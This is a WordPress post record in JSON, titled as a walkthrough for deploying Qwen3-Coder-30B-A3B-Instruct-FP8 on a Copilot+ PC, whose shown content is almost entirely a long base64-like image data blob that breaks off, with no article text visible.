{"id":8439,"date":"2026-07-16T18:26:47","date_gmt":"2026-07-16T10:26:47","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8439"},"modified":"2026-07-16T18:26:47","modified_gmt":"2026-07-16T10:26:47","slug":"deploy-qwen3-coder-30b-a3b-instruct-fp8-on-copilot-pc-complete-walkthrough","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8439\/deploy-qwen3-coder-30b-a3b-instruct-fp8-on-copilot-pc-complete-walkthrough","title":{"rendered":"Deploy Qwen3-Coder-30B-A3B-Instruct-FP8 on Copilot+ PC Complete Walkthrough"},"content":{"rendered":"<p><img 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LPEI8uWBl1OdKt1gSVonRH+RMaRVgEojY1fTfH5PazhT93Oc3r9WhRj4QLipDAbtMfrEx84MjY7G0jI9spePMT3tH87lh2oPwkn9\/kp0BqkKYfK6ekVa0B0\/Gqrh1VAJhHI331sHC\/B79ngs3PNpuC89Mp6IUjQ+iUWkY4f+7spEMNo7E11HhXLX4Ii0L22TnW6HMoE439EJgYB7\/eIRv5mPowU5tOThJzJLnEkIwdJdkuZ0vs\/h1d0AOSpru8MieVYUp1ww+VtigOvTfmFoTvxEqNwszqhu9hihswcwrPidEKyGVI8DQqvZ1MHjGyhV+EnSTbyuC93UGJZsDhGj163VVDZi5Y8aksHXVqwV1ovvCpCi4aoM59ro5PzCEdTuMB9knIKOx2PUMdDyHfisfdqRp9H6UT+O52jd\/ffJoYxNIijKxvc74Si3NPo+Ng80m\/GzMCzvO\/CqtuipaIwGWy7aYZ8YAHsBO1D3FFOw87JbESZLCyQ\/bqEzaMPVX2EDk0uf8OaUpL+0S5rTSFKdxyuNF\/J+kAbswYj4Ex\/btQ8ft92Y60F78kJRbtPoELW03FHtGxycOJ\/aSfKKBLd60T2rO0AWmJb9iJYrh\/bJ3GU1UgCQQMAMr1yAjMVC05DsKhYz0xA7\/Qm6UTe9Q+B0psVEOKZnW1k377v\/zzPlWKb6MTo6Ii6PEpKAzT4zzSgZK0i7\/qSwiNtKlSZJY3EZRAK3oqHPGUoWdR0NExjB+VLifK+PBMj2bSXbLApslKw\/Hc7yIR2LJMND3\/WYwCgo+CFcmtR\/kCjKGnQAb+oKjXfSarlbyxCgsFnpXNQ97YoBvGe2r3Oy+gO1GJbuONTuW2glqBOmhx1rv9bURU1nImq1ZVETDJHDAwr3GHkMlN7mKaSbedoFGQFQbQajHwsvotIoZNfJJJfiWqXOcKpTqTlVFdYd+Cr1uwtmgJrQZ0OPO8O2G\/ROhc0QMjhdH64UA+IGNySMDcae5rYi1v03\/+WdFQuWZh2QQPSEfaIJMAbRRhtf3SJuKtPnLGiNpiMZ4mcH43DlsIuLhlG6gBVL8GPqbD9aXG1s3p1AIFQeOg5Fm4EzSTUt2aOKDYDVuvIaU1WlxIurHB5XCcpJvyIql15xghdsWqvuhzJUwinPi1i6p9ovLCSReutndH6Ays1cdmUqTZU7Hifw6Z6aJdboug7el1OwykRErS7EsBKJDQ6nDjV6iDbago9plRSdbc5I+wKmUe7nb+GrSn2JCwZHCaUVTAWirT\/UGehcLl7+W1CgJemP52pTr9kBl6d5T8WRSkdRdRJyDW3O+iVA3DnhxtZDJVKbOhUN8mzThSfHYPXisYR8pryGkjLYQgy0XwXDT8VV14CCXF4HpCbOE2w7PVqJW9vAKsTRfWF\/uSwKUjTJVAfZ2NbBAS+2Da6x\/xoPvZZvc3WiCEP8NBVkLg+iYrwrnq8mXnFf0pX7FWbhpvjO0v1wFZNkNlr\/3P\/bC09qA7JDAO9o2sbycbo+ZaBxTxqPu06BiVjrvkHkiuwBn+wuNrpkBZX6ommGNQqoWsmTTd4L7MSXKNX6EGGMf+PD0waYkuNzy9juiRKqukmaAzNQJoZ4zoCe2PJZVbbgiq2mwLxURpKGd5luvb2iLWeP3Ny79\/+1enLI5eQ7NSBvFmiBE24NckqCY77rt0FjrI0IiIYQbv3UrVqiHwnUOiP8e5mxaHgr8Y9LrqJ9kR5VBtnqnXhHw6qymqAZW9D9+6wfgtXZ8wVvKHMDnZvZeQveRAZfiQLKI\/FlrTMNLa7WJRWbfr+wJfH5q2WVnnjtGyDM+KGm37MGrDgpZJu+qGdSyxvNQBXaBk4qfyLKq6O63QMOJx8aJnRdusVRXkn8fvGmv8gv+oenLplMZdC\/YfCYDV73zcYCDRQoEyNNqHEBoUcTYR\/Wj3B7NMkbVwlo9RzJ37xl3sP3ChR3aDxhJZqfgUraDFxQC4AJfIcYg5vLV8fb7AzKCD5uY6u5TuikCsvMo6z\/YvWhAUzTTBnB2yCQLAZfX1N2yG7aQFK07QveGvMhc7p9Sm4MjpKQHJ1076eoZ+O0\/W0X+m0my3\/av2kuZR673UXrCWHud68JTKJ4n67tmIYrgIg6QFu8rllzFm3bQAG3nARUUFiGD3B1nzZCwx3veoUdF3Q0BLOgRib2QGGL5RaXZwJCzGlfsGbpkGKUQQiMMRMwih05VLewPKwopaDuhAfdZMKFNBUXksfO1mbfN8Ab6bYP24FPa67SFJu3fz+1YO\/4Yp415+1Zx5\/h7gJsZKFjHY9z+LTJTMF+s5HoEerXRrFRXjJJ3OLDR4WybAOl8SUWRil9phr1xJPW7izEZTJ0IklN\/5ixPO9INd8nYBFHoHuMEsO84tUX\/j5MpWg5BpkDqzGsB1E1JqLRfPNk8FWvrb3EpAYXriHMplQtRAICbx0XOfCT0EwTarMleZAk+tF\/GxEw599+R30NMwD2x\/prPKz+O1MDyuBllXI5MyCk1FF49D1LHawjJEB0hO\/ZGdDLiOFXTZ8ozj3taMhL2CS15BR5+Pjch5tkk8C30YPx2XJN+sjzCRpF5YaKMqT4U946YoaLQ+BiE4Pj6dRtXdY3daGJL8pq\/kaD2r9pijUPg1WcUHc0ew70OwiZ6LSKCBaGxReutn0i5CBoZV4tT1aMP02\/mWds8X3AmYjB4MeeMr1xqb9IyTrYBeiizdydFRVPJwYK6oBPvConxGcwjRjlZpJ95SV1uiu3iE9O+TVND8364vt+rOgm1zT8xc5SDmr\/+HVWHxQxspWxovwvCyJfrzdnXNAtkPNpX0bc8KhmXLe\/Y8DCTmsbYEbJfIXOBf4\/KD6m+emGJFFCBeUWtJ+oxp1SBXXWGFUlx++exY8L4LlCv2nrbOrRjz6qdVUZY3eu1vt6XzYaLCzYL57oz\/AzYlX+xloYZK+EdhTMlTgZlA12CluOe+KdjfLDW\/yK0iD7SrAcJPylJti3G5AFOiX3HHUJxzfDbHixbVNpkI1URmukY3OQEITwm2PV\/6A7JyorL09ZfufKldQeZ8uzN5xz0WgnQFFwqzX46eGsRUo3t\/szqIcd75fX+ecYdhs+PKSc8XQZNPbeUD4oqNWp4LgMpjwn+\/xPAkzf0en4uOKz4X+nNQ3SfSdQ\/DRwARvllPODq1+DV\/I3p82O4h9n54V2F1BaIP1yrdOSnLJfwNxYZMqrYQoXCsbQDrWE\/cA7Emu2Wm5GefMwkgbbxO0\/IRlRrSnjYijegFVtDGo+RkZ6HtpWo7504BSdTWLvkzUpc\/qQiMKmTLDcmtviOwzGBDx\/zdK4xxo9cW1Je2y9fv6CW+tDUt4Ot+QXO1uX\/iouvN4ENoImhTQfnd1Gk3OYGZTRRM02BjsDtUl5p6nlRbyQK\/UbFScD2T8O4zSXgLAPFJbUg8mRiGnCuAKKtXaRt+13IJVBx8FWjkfoPzKvF34vDiavxr+0aYnYTEcDirOYDxgmJcoKhYHjBRMGxp1YLGOEaw22NX7SRxWTQ1yFnhf9lxcAQRqnzLbH\/ujNrkTDVHmdZzvjqGNguBsEEHvfmRE967tlIPsNI96ftNFlKKZ7fXxR4Mt5TB8U9bcYIUd3s+MHRVEMY6gB9M3bEh8n1+jImW0Df+TdCJqQBhCVrK27KlgS5JgXuALY3JBtDk8BMuodSVSBsNAvlQd\/\/DBtP1nr8S9W2xopGky1COxDnY8d51l66Fk15dAJYUC2e0Ws\/AUIqVhuhu+yqd1XwHWC5NR3b7PJim8KGTOtfI2gsX3hx8b8ktpzAnrIXEt3KfkFVKK796Z0EgSvLW6n5Sddg884xMbUg3vL2H\/\/ireRY73sfU\/uimoMDaPaAs6g\/fl66oznObIFKzeE7djg\/vak+MvV3o\/d4ZjRoOcdfY+UT\/8RQPdZyTqsUs5RVxt4OI820nbzMzCdVOSt0RVyZsGJRxR9RB85XvFzkJrZAwfmJrqn5fl53dt\/\/uRgk3XHknzc52lCLHqCVDdzK1kYKlKIkdKIlb4Xs1uSeX0pKmpi6hXEOokE1KH581HDXQTv8ZwntxYifAgJWSGBqZeDoc6AziJwSYb54auSdBx2MWEv+2RWxqtrBnlIezQzsmmidYvVju6F7+iEDmRAybboHlQUuA56jPaqafdx0XoIg4AUo8a7BxIGgVVj4C0ZtJ+wfgK1xKLHBvawL2c4IGS8gUdhLeWCybr286MdXtsLgI1831BjKXMjdVRnUTPXRTfTEyJeOF0Vo2v9QnmOh79oyJRtxUv2y4Kxtg\/o\/dgUm4lYrd0zkuBjb8NCME\/eujCUdTzIDOz7UTNsIC447NQrY75IqxDvG36nnKCL1dueVIO62xjuPc\/AkcjzBwwBJl9rtS5Q+3I7ZW3uvYZMGpod0BfTwWq7\/5fWeQdrZx6GivDMgF5OyL2oEBsI\/5\/AJFXz7sRWQwtmTOea2mLcy2Bqn9ZoVEpeebA51Vx7\/ZvYa+qFlp0Momlm0UPh+RSgIrQ0Q4caWlLrcj+i86UST58+1LVqOzGOI0zy1XaksUiIrO\/z8pFYyB5du\/osTPRShFstfWnAkiR9zM0NW7X0dW9t4VX7QDDeUZFLWadCSYIFAXo3mUuHt+MWdNL5+c9mcyqxgNxnx7LBbiyaKu7cUcMDUyeJ5x8HHrLEnUV8y\/IUAhPz3UncfUmNNnvw4pdRcChzSTOvfGnbqzdTWKlmhmhxZUNXDAOyk8f1UtfngbbJeZaKHOv8bCstcF2B0XS9G4PlvAtbaDpX5pYN5NEZ2rilrT\/\/JwRRV9Q9B3CCmervp8Z8x+PcRVtDIPs5xxaZVQwc2bQnyBSB65itBCXruq0wbrra+BwSJEPXDOldJjIBWweul1E072xg9Y3ngd7CcClpeuwno+oiBdyWH4Rl9SXQJrEEcmbApc4+rQNhFAtoJx+nf\/C9ld3gTxH0zrSQIFMot8eoZZwfecCiiMxfT\/KDsjaiBA+5Tp8wGE7wxeOcgypyCj09uxpdl4qv8NkOStd9UG8SEDjFJKzUboH8uaBie1cn5L5pYeM3jVbhGB72lX\/9yQ4okiIGa8NOySHHlnwaaO+aWuBiU2zP77HvsTJ4SOnMq7KZH9g\/G9Wky2qG3M2mAWDfiAoPHUbGi+\/BIwYAsLIYJEwaWHksRVXT8sQDWejpx\/Jl7T+\/wwg8UdSq+HpQCWjgXKArxuWcCmZZYL8bseCnN69\/ZQ5KOJhMIFlZY1TGvysxWILofLidD8vsOmdl34NCY\/6O2hsmqboiV8TRVXM2UljUpv3xPuJlgG+xms\/V9TlKS8yrzSmg9QTiexRbEiFNCdk9spg3HhW00yLlvDMpDX2FJVw8gbBtjHS6UpGjbKi90jtl7mwaACPwgsEijSSms5NbBzEVo6Lkk0bIRVs9rigV6vtsdsXZNCiWJXbxcgO0BRRpt9YlkSh2WIMeUkT9fsZ0+mA+P3rgryMrqPosUqMiLaz1ypwEWqB8u4dkf93a9tXfIDLR9jZn0m4NTcayZn4gS+pZjAeDGPj5Bsg0UsUq1aFzMiZWGs4RjtJqsEktoubQ0WioavQUnownSgmjluZKvsuesXu8nKA2TICy\/UjRIvddv4a+1wNUoKQPnBVxCq0RXCKFa8iSSMMEi8I9oHWRaHPHkHQzwcles7MKy5sKYQfWuNozDbqVqLd\/DmuG6wRNd1O+W\/qSEi8aDQuLfyzG7wpghO5g8pWt\/lhvvARzGk\/X0jOATL6bXiJB7au7yIKbJ3ykXzWkwXdlFEHvQscB4kfbyPzdKvYFW6pi3\/TC4q4Wv6BnoT7kvv9jxYs\/N54DteA\/s\/qfFI9F0uPNtgukN9493fp\/zm404uOKCLNH9wVgcD7odO3FnfH62iW4ZVVNMicwQ4UiuhKNaQHSwdQvu4FSM3jdkE5+Ud69Tzlz9789rHVp4El1q3RaemOVyy84qQ9AokiqRbT6Fqt+fYyVIz9n5wBqlJet5d7F4JwPLt2\/N3xDG4EtkpvgaZ3Tja50TW2jC5YUZKTbBEDED3f9aNj5plO1LYcW5Axt9TZ1XbNBPVBKhkHa8RwWoRQGKLXrZopWLFWzgB4r9OAGuaOuBdaJNNj0zYsHakyKcmF0ZsFY\/bn0I\/wP23i4\/hMF30yjLq0Ts7e+VxhD1vp1NWMqZIOofCxPQCy+GzdW6xQAZ98kY3kKNZt4B3NPuTzrozGiKDJO2lKmLdLyWMwjM6S2RLUrWCYNak2xb90lr5h3LGnziXWBiuaijuVELtpKBygTAN\/VHEHFyq7KtNyIq1J2ocquI3gcgAytY4Q+dm9R73+GTmq8i6JbzrW39ailYt38oX+8f2KI9qLV6avWtiYGmTf5KQE4qv2jdvNAYcSMuQuVza7E7ACqoSpHTMPzrge70ENpxlkwnt788KpJWUTmW4sqwVvATGbqY2uU+ry5MvA05hfNVk+Lxh8ITZ2twZva9ulJ3FeO1MU0sr2ciUUnCN7wUw2p8I0VKOK7dgPn26ulx+xXTuhHdTwHcNxBbmptg6RpZMRAEyH8QK2hwXEgeVpQn8n3x+vrerkfdS1JQvidgDqAwjWLsT47c2zVBXs1BgoZ2wg0p04g+fQVlxhg2IxoJhSQMgjyT46s4e4LMX6k9knmawDM9wIqk7tNTqhWKfhz7n0UyZNkDHyigr7iEVCwOug6OvnCglVGrAJHRN1UoeyeWeQbb1odv6gjpsuyqWBt7lJFb5Br\/1rtVPlA7yedBgrEBGU2sTaFgW2ZIMlLlBs8sil1ZTT0tvnm7VOrFULtfTsdN76McVnIXm3K4kqSE1VbdGpWMUBtomUFGGLUiRALjE1YDu\/XpAhqp1H2UXgxfm0uRq+C18kNKGPgMsjakQTntcCZghQzeIsRhbctCEHBiLJ\/Kq2j0MbipEwn3RiN6koZBokdS4lHf015dR+Sdbm9SK3991vRYQcq0kYj+PPmfHnzb6GwBrCXYzAWZEW09cqy7qPIc+BK9OfhOePSnjVS3i6vvj5HWhcpTDiB8HhmfpVy8\/QqF3oirUoQDLkzMBmPSVT+DrqgbZ9Bd0s2HOyu5o3KJigivKXhr3QL76oPASPCZ1V7JKzsLS2INmkugaoyyLMKAIAp5Rhe87okTPoyDfk7iQepRE2tUJOig6GN\/NHvUNXLHiCbOH6UGyM9SSvoPpsvlHLpWi1msXWQ9WSsPBWT2V1lgzq2Q0R0NP0m4UzxJnQHI0xBwDaFC\/8HLKdmzDlwoEbUnyrdtmXTTKKZlCUuoU0C6EVtKgh6viEkfn9fEa3ZSrqX2BUxjYpXyClHLrkFmyQZKkfB\/IcNg0XTCXKrbtdQx3jIkFNIRqzBLiLiNwLFFLa7NzExuuNbMsROPXP69BVcwx\/MKGeBr+Ai21cX4b1uXEUN2mhmVsJ\/xdg5K0THGm97ic0QxDFXfFRmGXh7otJamEuDJqvAMyyY48vFEhsjrofjVmmC7MGPpH8yZR8Bp4zn\/9fzE+t\/fZKuDa5A3yNQQmiY6CD6vOLuQhEQrN7G2T6K7d9myz2JmqYh0J0xCvGd2FeBLJ2AV9P4CNVOagxXGWhFlgK8WcUWjZSOe4XKY3b5kcwVmaAXOJio6BizXBmbAmspm\/gKx9Dfc95R5Pj67sgMDxWfYOU0LtfDKnlYN0OM3Ul2VTheT8F718xi4KvrhUgwf5dE+Gi6+QlZ3yw6FY4gzJ9lUY\/nOGVUroXhf\/jCTd672K7Gde2wUzMfZ+u9bDG\/dnjzOQ4ZDoF13SnwQXVvkQFupe8SB8YIyHKJUNJt0eDquet8F32zd2aJ4xJH\/DSNDML\/tibTETjGD1AM0mNbFQfv4i7hdUbxR\/jA1fkYdi9I6RElnv4HJKaJ1tGRLH+C6io+wnwsXIWsYLpX7jMpfrU1qRsfgFlLgFm5t6FQMvTWvTxN3b+Q8\/oy6bHH\/Mw\/W\/uyBGqNcb8uHxlmRCqbde3VCAeONSzE+YSh062yINgDbIdjtupDZFPholta2ljw\/MRBYecm\/FwM\/Pi3RG4M4HP6LTmbYD+YekAYocG18pOV6KLyhne\/DOf0kNP9PPYrff35XzGllpJ+wi46IIjtvXR2dmxt\/gCajL675cD0ETZ0nDwmM0PkS7JH+hnvhw6OpGzoBS+plVQvrRcXvBIWVrc8u\/ubTe2NLVzi7Nernfq7FzTgpCBqlwjbCbsAhtPs7kDHZ51QW58Aq\/TvTCqiDsszg\/TFFySuBYk5D\/A4\/dLxizCi0TZdbc63zDRUXLzfjqjOGcTwurckExzy9XszIuCEwPV68D0GauxyR8rUmryBAN5fPrVISzRnNIoSEaC\/y5OFo\/618rNapNXAIrbq9S3dere34ojxBAHa9IoBLQw6QAHZypgZ7r6TY+cguH98kkVHNUaGuAmEwRTFMJIlNRasaxB\/fybs4AOqHMTPxP8FXEzTfTNUusTuhwtZdnbIytd95Afs9aZOscgIN5dew2uEA1TdDpkhoY1oMIBo18lN4w3eKGMa\/CMnpMGsppo\/GVpL2I8wki1hv\/xtRsXUAO+FwuOcWeGOlui323a9+OZkuZnKsjSPsI\/Ijnc5Pi3LgZzrPg\/RsSAJHnzcY0k8bvszFslxqg3a3K1uxUS5ye+CCC9ohAdNQleutc6VkKJEqbPsgLMhxfOowKB0BFyExuGq4ut4d5ZCP50XijyHa65MFO5GanqTT3BVJjAOxjL\/q2Khcd0lHWbpoEZC\/V68txi8u0UJ4D76OOuqiPAAFJiRwT9NuhdTJMlpZQVAXi0PuYAHcxkdmrLuw6s07ROPZzy+eANNASdZfETzv0YIKAzlv6hyn3m3d3Dv5FcYAOrIDo7ELNKd0iyX394+1cEvNBS\/aboJAditC\/qGOjaPTSKJNozf4VugGyUNz3M4+kj8\/+Tnh93ELkP9GQqliy9HRpkMOQx5AEynX7iylZgLzGyNGAuO4cOevEUbv3AWq5lvR0UdiRNJ9NtvyIzTj1jWeMu4CcUiYt8vAtFmbHAqC1ERv9395ECMp+XJ4hOGQ7TwYyVXYbyztlAMIaM6lB6a2mEZaNJ7Atl3aVsCw3iBbmdJtGt8eAmYYZoCf9\/jns89T1e3v8RVdQNwpFCaIj5ucv+eGEM1UlUH6jO44ZRVjy+EDRzkI1OSRUkA+o8DOPh\/Oe2ltjdTDXwXeoHivU3KsqRLPQWpIq+jYh\/t9yO2Zfx2nTSATVqIkaW+1HIqO9vu0+eGgWmlHBTSy2FIXGIcAMWUwFZAtf9oDX0\/5My04FfUdLeQpjn69kImLhqOIYn36nfYLSE1VEfcD9UF\/6F2wnkKDBc756PyhwE3o3ZPUUR1ii9\/eo\/lnlI+6kJEssupl8mFmJ0VD3fb2GH+idlyDfewOrxsWfP5B3Ox0R614Z7H6YvoBfoHOKTztmMKrjgPxwsp\/3\/nWl\/VViF+wlRRwMgVG+0uWfRFzW1u04oK3S5r0WiXS0Ikq2co+wpgHMxlfMoEEFhmWNxoUdNPz58DkpGA9E8l6AF3p7UYGNUhf5nK5oC4w1uBRnnqSHU5pJ4u0phe9ZIo07PC3ar7Z9Qld4BC7EnBO7k0U5ohwYDoZ85vZ\/v8TssXvgzwNfc+znUJVIvcxmgNJ8GMMxZphQFX4YtHr5v5onbTZ6wDT9po8Mpw5z\/7v\/CQB26bIuIsSt21KRLCsF85oTK0bEKhAbzu3bCwm2lF7iK2E0VqR48h3K9GiXVE2G7faOaZcFr1+V0dyvEP7GHgBIcA+JoFR6V0VEJZo5n40xwhx3M8DLk7sXVsQZPPwosr8knEkcHnuiQ0To6Np1CjymRY\/+cfsjTTb\/nYd8vYUoavA72plf8u1T6IxSetsGw+TinggJG5rwM4JVIy\/xYDuoSqZm9ygJfxLcdSPHD7fZJ6AD\/axF+7jyzewObsv6rr9VyUsPQt99Eg1s2AIIPK4HqEa\/ffiaSvl7rh5Pk3LjvUmsTeJpS1QTE+rCEHaVkoIflw8EtsaPLVGP31KkybATxcKLmJQgZW+cef3R\/YobAobPr1kpJOp71XM\/dkqbsracYAO2I71Cde\/a9e2i6Dv675FSLm9TbarhaYdrQyWnJC8xbEFbHXkOHlq0jfhXQVFdH\/dNaQyBJiKy12JExzsQiPNqrCfBdLNK7YvR79yNS3LwGm5wxK8CG18YuBIncoT1H2ZCBTnYVYgI5+ix9FGT4bewqlp\/dSMr2SwtB8NgDIQ+ldSh\/8W9kfUgxSc89I4msB8aIpxoOfRGwWnxdRs0olqq5m2PSIVq+zVlNy6yGiqsl6dyBaYJKWiNjeOOcnrFv7ZprbXi9nQkEQRP\/5MuGKLjt++Vyy3KJ7ddmUnVbDL5UeSnVQ5AO0U\/Cxap+czjADIJCBrC+v1xc\/Rt0nO\/ohY5pSa\/xehXVzdOjXn\/Orri7UTTOB6Ohwkgx\/RsWXEhu2DCFFhcKJbF2K2kvs52jw0kMmQj8xBau+aAUel\/06S+F4xZbzDRwlWr85eqr5Ri2C6\/fT+Ebge96CJXBZal6dttpBWUhsubpVhXYFFtxk17+s7mrXTdDg4i1RY9cDMjrlY+c6bvpb8S0Cs\/NW7EI6wq2D0WLafrTt4MwgCz3lqaUKXytxPArxzynH3SQFChreSM\/A4hcvuqpiLuQWmrp2eaonMROUER2\/9\/7W6u7y2kZTnpgJXt\/GY4Fwtfbru6lf7yuncVa+xxhmuPBEAepVMtIkUE4mIlarKUm2ERfwbf7pzvrNBAwebKx+TDvPHP6xGMpAyF7ovK7iolcogmKi+PCMRth37mu+rodapVne+qYQXeHWiwJwhjmbwbZeZSLUojQYPEkPUPILfOBkPtpgFHqsLP0hgmrD\/5Hqy7xuVskt7B2EtqAE8c3zg0lDagA3UVMe2gwO6Nr1ch67XduTMRC65RexqCdkremeuA4woY7yAqkdRZxnmBOr3IvKimtQBXH1Ue3vVCO+gMuzwQtictaxyS+phMA\/wodXsim4SaJ755mVvj82SH0SVl1dpZfAmo43MSI9+Wul6nHx8xcnDITXYci1g\/V9AY9YdYtcK75Un5jFa8p86lgquhD4zQGdPt3s5zRjd12WhY0s6LDryZQ7xSa\/DasAsPQ2bb89XVmhdeLbjxWQowLsVoFesdLp1qUXSD30sNM8L6ly2xrXR0F1BCtBAzxC7P3GsGZxQfpZ62CqV1XWH6lfDo\/rq51sqXq9zBKPCh\/wJY9bBFZpHthLUfvTWYfmC4D2FzLTvbMwfIz6yUeFuxYiDwF5\/GkrN0aceSHl6q++FaQiNhUoKVYTDg9eeFGFsWcoMb1O3+e2T5HVVCmk9kEO8Dmgf\/gbZUEjiO7pWl\/8g7bLzBsAvh7T8OX6NjiLTVAkXjL\/kPTnPROJZVR1G3ZtGrahu+GWRa2OGE\/7ZhRmldRpYOQzedgMMDTSG+s3XXUonb2oWuay3ngT9kVJDNXTFacxeXbhO9O27+mQPEb+4d17XcLgP3W+n0XR\/O+yBYTvM3kxbG56QEiBPE8cZLocTOrt8VRpDqUzCsBYW3fCsayEqEmLU\/ne887555NP26PAJnCBfiXELz00L5chHnTUOnXJmd+\/DoYLs7r72o5Ej1u5pKNhN0Tqae4NkILUfHwFDDc+K6ZxULkGiFezEpt1Nes25mW9s1vYCeiTfkj5LH2OC+8g15XwKkybRq\/OPTr006Hf6Oog9xitawRivNXvDtmalm6UMk0DhApVw52CMmKdJIieoi8skKuL1izMoZO89tjDERWpnv5EVopozUMqDRhXjWTcruBSeO7JiIJVGl2LtNVICI5TDZ0HOIT8yB7vfazt1ZpU6ZxAsMaX1jmC\/ZoAxK9\/NFZe3o01FurZ2MZhtKafqq4991A78DnIV\/hVZVO+LT\/GZ0EXPtLvsT3f+4b5fh0sCLc90GsJOY7E1fowV+W4Ks8WpZ9pJuMUFNV47DGUIoTEtv1HKofh1PCkFgZGye2U9Dec2FIVMAPfEgz+g2nSThWVuKJZctKEs29GA8jM5KxVTesngVvwpl72q2uSymP63p0\/gdUVL8HTJaoJ\/Nev2v3rl\/VnhdP9iuh3tU8k6oYt5l9VVQ3kzccc3xDA7VhzUyd8XLvQP4X+TLJ2Hw6tTRddtOhjLv3pyZCaBFZu3rob+p00+kkyZ+qAnoLxcm02pe5jCA2xet3h\/YpSjXNBN5pOT7qgl1dUExbajrQ0163UkceeZb26\/HIrGeMvp3Xnn\/aUazhIO23J69\/Qcv3\/54vFgAYRbYwobhVT13\/2lROYyyXfJiWsf1ajbQLW5d98vsBM\/ppyfadTnT0IjRc9h1OysNuPGeXBBqn16skUdk1MnfnQKwSCzyL\/cupj414BEf6w1THNYj8eTr4wto\/gr9F2Y+wq7w6CfnyMyN6BxQTmlIYdeIGnWxpC3t+y3ucJaz9JQXD0tXQQvsFgQpb8m4sy6e95zGxVKN3lhnjQ5P1nzFj6cQf018oh389\/s+Nd9MJn+qc9yQwOD2IvVejqMrdRJPKZpqukqqelvkE8McBVmyNfiCZEcD70Jf6FY\/O5ZKyuF9aIGuR9lqyfHOs5pZ+GGh\/BhiYNxvAOwBEY9ekp5oWTrBhutNWk5iifum5rcrQlRsg\/A4p++LD4vHF+ghsLC4axvpZuM9iXrBLu\/OWgT+r4BnBmHu72mfec+7sOyVYmvcPsviWlSu5+Zk+7zr6svx4bSmUnheet9FEK+yhrF5oa2epQSzJcqpr2AenPK649\/oEuyNcUkp0Y1po+qsALgHsyXBJj2mjkTbQ51mcAHrBE+16HIaGvsGDu3Kuo3s9c2\/IENulNIuhuhBpzafwJTqA\/JIuJvSmcd3l1ETd6ZJwCHBtJu++xhmqY7qt\/8Th6IRPIMoaZK7lJg+soBWqj1KzsKbfhnK5u1Q5qWbt7np6cn4VgU8wriLyCBYI9PRwreqyEvkua+hQ1MbXw5+3bynjwTeZ23VXeGDUiF15K7P0BDm1iqgsEvRBNTCuFRPdE5lsCsOegVVtoykhGWidiUZM2IqFm\/dSIQ\/tj304E89iGy6SW\/3+hr3fs9IKTKqOFiSSJBtDqtXxzbYAc5uOQxYymjhfm80YD4CMhMU0c18k5JdwT+E6Y+Plx61vX5FJqy8AY4t4IlqDDMap27674gVZUanFYanH3kI4\/RSg\/KbwlrPsTY5aloan5gd8GezHSTWPzKrtsd8Bw7Fxjj9OG61kC+EBjbrsSa4NEqFdSwLSaEni\/95TzJsppCxmG9pMnzI\/VGRUNRM2agJ+4XGBwn5daPTqjgBR1s3uzpLfhDnl7KSpapyXnENlMX32+YxGdm\/dFN1YXzWOf+uZbvDRLydlwf3S6iVTm73jurUKb\/6qGFuezS3ZnzQzGBzczNf7sOtxOvsiRouaDYiKLBqwfuULa4GS1PRX9Ybs7PJOvt+6g8gXbNP1mXq3njUD9rxn1io2M39\/gJyqHliEOgJdcp4Ae4FiE93llV+lpROK4NF4wRSXsTfhprxtLvhg0yMtsn8wPto+SYFJEPjKHLt0rtdTwBktHCe1avaVC4sVWSXKQIMCqZzoD1+0LZs\/gRKo5XdFdgDrYyAnFVKyupe9ZNmI8o1881ILPRxNlxvpRqd+x+wcC9ypxgDhygKGzcv7kKCNCnQiQMU\/6HxeIYELAdb499g68hqBXfgt2du1kc\/takXDfcu+D4n3M5X26mlCR\/LccIiHMt4IwWUArBGSbDpnuYlyvt1NZAL1tesGNLP7DBv1F0L1m2R+UdSLB55CG7+41BvxM68ZGJcLZqmqzjH+S7YmyDE9mhjqkV269sT06Pu+sYmyPogKlUB48sh4dF2Si3XMKgRH7SMdH1AaRKEajZt2BThFGIM1jiYkwwO8bpERURDf\/gmbJt+wyRrVfV\/rhICi22M9ol\/BorZDCI1sAAralQ71qZdEw3CGltgCBjcs6\/kBqS3wGNsyIhON8XMgzh\/LrWaR4Of1i\/wT9FKQj+Akk\/JPFNLxBkzSy6UIw6LfbAU\/Gofg39SmR3MLpUdMcKElDe5M5n4UW\/H3TUhOohHHTL0j23Hp5so\/7fqiaoMXayexbDXwZqMsm8g6XEzcyDHL9FQVFp8FYeRo2VxqQ6DFFWFgn60bQ+dDDYgf8v4G\/IdIZCDCBXfy1hXpsZgy5QZYYOJFemUpPYAJF0GDZYG2w7khrj1bueIBo9s02cZHHh78RCsBQ5EgVTDf\/vWQ2HfUWYFVK5phUYZnmMTyDFKLPSZM6zsI4Ks1ALG+RVSRZL+ql6ONoc4C3tde7Nvx1yQhdxUNzb0j8X\/CSnb9TZHgxWcMA8zJpBFI003n+19hkbuSCLhN05O63Ajv\/Z8xhhdpf0\/csOkQi8SKmlmi7RDzL5DdOku2rzwYf6NabJ86ZUdpRwAuicrMChSuMYWW1NtCHkGBqvl3w8yV5gte3geJ7R3rF532A6LicMXGpOK+mmooz1oguZMUQ45VaXSSugDwogG9DOaiWoretqsAVQyIiJeoUzNbLzMr4TskVBdc9V9WKG6Lww98CxD84vbL6Xey59VYaUjoyBEKCxow07XsMlTLbc2PTbmj++umaHk7zbxGE8V5BxgC\/jZH9GtaBeLMW55ihi5l17fg+SrGZ9eUglVHn4nPYd7OxCr\/ONU\/7xtiFKFZDmH3x4L+o5eysQIh\/nbfN2spXVjzHPQp5E2N5J++c8rUr4Ui+5ybWe9y9Jtrpj75E4Rw7ftezemVYmlA\/XVk9daWihjZpbbEbqTRbIRwZ3WW2ln9zgN3gc7pzVyAAAAAAAAv8HCyfDnZ3V\/OJPGgICgDCG5RjMobMAj3uMcV+HTdAzuARPT3613r+N7\/9MU7\/85RNZH6O8v291rxTkF1HdksMk2cyaMUjkmwQcHf\/UdX7D\/pMe9Ti\/YR64heK7z7xbv5HPNhFv+3lRfe9MbGpL5FKAsGC9kvYuHwO6YPFdJLrz\/dl+LWHiNKjfjnTcnqypwTrMEOSDrgssU5Fj\/gH8hBZjBZjmqf3aP0PG4OZtZVPI0+rkay2F1IwCRs3D1U95dfoXLDFIwO2m1FA72ETw7bKJ0Xwxh7vQYRJN+8naZBKC\/tZsqaPt6mjKaAGkyUWw\/z7j8RvgPRhxvKgwAZ0A24xNdAk2BpN0vK+f1e+MrJoLnCEbKjYoJ8hihtggiRw4FL2jE4n3ZCtb6sFm7MOxLq3yWhzy